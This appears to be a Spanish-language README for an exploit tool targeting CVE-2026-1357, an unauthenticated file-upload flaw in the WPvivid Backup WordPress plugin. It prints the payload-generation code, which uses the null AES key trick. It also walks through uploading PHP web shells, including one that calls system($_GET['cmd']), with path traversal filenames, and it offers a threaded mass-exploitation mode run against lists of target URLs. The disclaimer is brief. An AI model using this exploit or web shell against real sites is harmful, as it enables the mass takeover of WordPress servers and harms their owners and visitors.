
Migration, Backup, Staging <= 0.9.123 - Carga Arbitraria de Archivos sin Autenticación
CVE-2026-1357.py)Migración, copia de seguridad, puesta en escena – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilidad: Carga arbitraria de archivos sin autenticación → Ejecución remota de código
CVE: CVE-2026-1357 – CVSS 9.8 (Crítico)
GitHub: https://github.com/Nxploited
Telegram: @KNxploited
CVE-2026-1357.py es una herramienta de explotación de prueba de concepto para la vulnerabilidad de WPvivid. Se centra en el defectuoso manejo de la sesión AES que permite a un atacante:
name) elegido en el payload.wpvivid_action=send_to_site.El script no intenta adivinar ni abusar de las claves privadas directamente. En su lugar, simula el flujo roto de WPvivid donde una llamada fallida a openssl_private_decrypt() lleva a que el cifrado AES de phpseclib se inicialice con una clave nula.
El núcleo del exploit está en gen_wpvivid_payload():
Construye una estructura JSON:
{
"name": "<file_name>",
"offset": 0,
"data": "<base64(file_bytes)>",
"file_size": <len(file_bytes)>,
"md5": "<md5(file_bytes)>"
}
Serializa este JSON (forma compacta, sin espacios).
Cifra el JSON usando:
AES-128-CBCkey = b"\x00" * 16iv = b"\x00" * 16Luego antepone:
"000" (un marcador de campo de longitud estático)."{len(cipher):016X}".El blob cifrado final es:
"000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
Este blob se codifica en base64 y se devuelve como el valor final de wpvivid_content.
Función:
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
file_md5 = hashlib.md5(file_bytes).hexdigest()
json_obj = {
"name": file_name,
"offset": 0,
"data": base64.b64encode(file_bytes).decode(),
"file_size": len(file_bytes),
"md5": file_md5,
}
json_str = json.dumps(json_obj, separators=(",", ":")).encode()
cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
encrypted = cipher.encrypt(pad(json_str, AES.block_size))
key_len_field = b"000"
cipherlen_field = f"{len(encrypted):016X}".encode()
blob = key_len_field + cipherlen_field + encrypted
return base64.b64encode(blob).decode()
Esto coincide con las expectativas de descifrado de WPvivid en la ruta de código vulnerable después del fallo del descifrado RSA.
El script tiene dos modos principales más una capacidad de prueba masiva:
mood1 – Generador de payloads
wpvivid_content válido usando el truco de la clave nula.mood2 – Probador de objetivo único
Modo masivo (desde mood1)
python3 CVE-2026-1357.py
Verás una interfaz basada en Rich con un banner y selección de modo:
mood1 – Generador de payloadsmood2 – Probador de objetivo únicowpvivid_content) que codifica:
Selección de modo
Cuando se te solicite:
Choose mode (mood1/mood2) [mood1]:
Pulsa Enter (por defecto es mood1) o escribe mood1.
Nombre de archivo / ruta de destino
Se te preguntará:
Target file name (e.g., Nx_.php or ../../public/Nx_.php):
Ejemplos:
Para colocar un archivo en el directorio de copias de seguridad de WPvivid:
Nx_.php
Para abusar del directory traversal (si el objetivo lo permite):
../../public_html/Nx_.php
El valor va al campo name del payload JSON.
Modo de entrada del contenido
El script muestra tres formas de definir el contenido del archivo:
EOF).Después de generar el payload, el script pregunta:
Auto-send this payload to targets list (mass mode)? (y/N):
Si respondes y, se inicia el modo masivo con el payload y el nombre de archivo que acabas de crear.
Archivo de objetivos
Ejemplo de solicitud:
Targets list file (one URL per line):
Formato esperado del archivo (p. ej. targets.txt):
https://site1.com
site2.com
http://site3.net
El script normalizará automáticamente las URL base (añadiendo el esquema cuando falte).
Número de hilos
Threads (concurrent sites) [5]:
Controla cuántos sitios se procesan en paralelo.
Lógica por objetivo
Para cada objetivo:
Normaliza la URL → base_url.
Llama:
send_wpvivid_payload(base_url, payload)
que:
wpvivid_action=send_to_site + wpvivid_content=<payload>.{"result":"success"} (verificación de forma compacta).wpvivid_payload.txt o de una fuente externa) contra una URL única y verificar el archivo resultante.URL de destino
Solicitud:
Target base URL (e.g., https://site.com):
Ejemplo:
https://victim.com
El script lo normaliza a una base como:
https://victim.com
Nombre de archivo
Solicitud:
Expected file name (e.g., Nx_.php):
Este es el nombre/ruta que esperas que WPvivid escriba (coincidiendo con lo que codificaste en el campo name del payload).
Entrada del payload
Solicitud:
Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
wpvivid_content=..., elimina el prefijo.Ejecución
El script:
Envía el POST con wpvivid_action=send_to_site + tu wpvivid_content.
Este modo es ideal para pruebas manuales / de laboratorio de un solo sitio con control fino sobre el payload.
wpvivid_payload.txt
mood1.file_name=<file_name_you_chose>wpvivid_content=<payload>Nx_.txt
mood1 (modo masivo) y mood2.Esta herramienta está pensada únicamente para:
Al usar este script, aceptas que:
Úsalo bajo tu propio riesgo y solo para pruebas de seguridad legítimas.
Nxploited (Khaled Alenazi)https://github.com/Nxploited@KNxploitedPara actualizaciones, herramientas y contenido de investigación en seguridad, sigue el canal de Telegram:
👉 @KNxploited
shell.phpSe te solicita:
Mode [1/2/3] [1]:
Modo 1 – Una sola línea
Single line content:
Ejemplo de entrada:
<?php phpinfo();
Modo 2 – Múltiples líneas
Enter file content, line by line. Type 'EOF' on its own line when done.
Puedes pegar o escribir un script PHP de varias líneas y terminar con EOF en su propia línea:
<?php
echo "Nxploited shell";
system($_GET['cmd'] ?? 'id');
?>
EOF
Modo 3 – Archivo local
Local file path (e.g., shell.php):
El script lee el archivo completo en file_bytes.
Generación del payload
Una vez capturado el contenido, el script:
Verás una salida como:
Payload generated.
Use the value after '=' as wpvivid_content.
wpvivid_content=BASE64_BLOB_HERE
Y se escribe un archivo wpvivid_payload.txt:
file_name=Nx_.php
wpvivid_content=BASE64_BLOB_HERE
Si la subida se considera exitosa:
Construye shell_url como:
f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
Lo guarda en Nx_.txt.
Intenta verify_written_file():
shell_url con GET.status_code == 200, lo marca como verificado.Si ocurre algún error:
short_reason():
Interfaz
[OK] <shell_url> en caso de éxito.[FAIL] <base> (reason: ...) en caso de error.[!] Not verified (...) cuando la subida pudo haber sido exitosa pero la verificación falló.Si la respuesta sugiere éxito, construye:
<base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
y muestra [OK] con esa URL.
Agrega las URL exitosas a Nx_.txt.
Intenta la verificación mediante verify_written_file() e imprime el resultado.